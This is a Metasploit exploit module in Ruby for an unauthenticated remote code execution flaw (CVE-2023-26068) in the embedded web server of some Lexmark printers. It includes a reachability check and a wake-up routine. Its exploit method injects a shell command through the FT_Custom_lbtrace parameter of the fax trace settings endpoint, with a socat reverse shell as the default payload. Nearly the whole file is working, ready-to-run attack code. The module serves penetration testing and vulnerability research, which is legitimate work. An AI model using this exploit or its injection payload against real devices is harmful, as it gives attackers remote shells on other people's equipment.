Jack Heysel
119 lines
4.3 KiB
Ruby
119 lines
4.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Retry
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Lexmark Device Embedded Web Server RCE',
|
|
'Description' => %q{
|
|
A unauthenticated Remote Code Execution vulnerability exists in the embedded webserver in certain Lexmark devices through 2023-02-19.
|
|
The vulnerability is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked
|
|
if they would like to add an Admin user. If no Admin user is created the endpoint `/cgi-bin/fax_change_faxtrace_settings`
|
|
is accessible without authentication. The endpoint allows the user to configure a number of different fax settings.
|
|
|
|
A number of the configurable parameters on the page (ex. `FT_Custom_lbtrace`) fail to be sanitized properly before being
|
|
used in an bash eval statement: `eval "$cmd" > /dev/null`, allowing for an unauthenticated user to run arbitrary commands.
|
|
},
|
|
'Author' => [
|
|
'James Horseman', # Analysis & PoC
|
|
'Zach Hanley', # Analysis & PoC
|
|
'jheysel-r7' # Msf module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://github.com/horizon3ai/CVE-2023-26067'],
|
|
[ 'URL', 'https://publications.lexmark.com/publications/security-alerts/CVE-2023-26068.pdf'],
|
|
[ 'URL', 'https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/'],
|
|
[ 'CVE', '2023-26068']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['unix'],
|
|
'Privileged' => false,
|
|
'Arch' => [ ARCH_CMD ],
|
|
'Targets' => [
|
|
[
|
|
'Unix (In-Memory)',
|
|
{
|
|
'Platform' => ['unix'],
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_socat_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'Payload' => {
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'socat'
|
|
}
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2023-03-13',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('SLEEP', [true, 'Sleep time to wait for the printer to wake', 10]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
send_wakeup
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
|
|
'method' => 'GET'
|
|
)
|
|
|
|
return Exploit::CheckCode::Unknown('The target did not respond ') unless res
|
|
return Exploit::CheckCode::Safe('The target does not seem to be vulnerable') unless res.code == 200 && res.get_xml_document.xpath('//title').text == 'Fax Trace Settings'
|
|
|
|
Exploit::CheckCode::Appears('The vulnerable endpoint "/cgi-bin/fax_change_faxtrace_settings" is reachable')
|
|
end
|
|
|
|
# If the printer has been inactive for some time it might be sleeping, in which case it's best to send a request
|
|
# or two to wake it up before running the check method or exploit.
|
|
def send_wakeup
|
|
retry_until_truthy(timeout: datastore['SLEEP']) do
|
|
print_status('Waking up the printer...')
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
|
|
'method' => 'HEAD'
|
|
)
|
|
break if res && res.code == 200
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if datastore['ForceExploit'] || !datastore['AutoCheck']
|
|
send_wakeup
|
|
end
|
|
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
|
|
'method' => 'POST',
|
|
'data' => "FT_Custom_lbtrace=3;$(#{payload.encoded});#"
|
|
)
|
|
print_error('A response to the exploit attempt was received. This indicates the exploit was likely unsuccessful') if res
|
|
end
|
|
end
|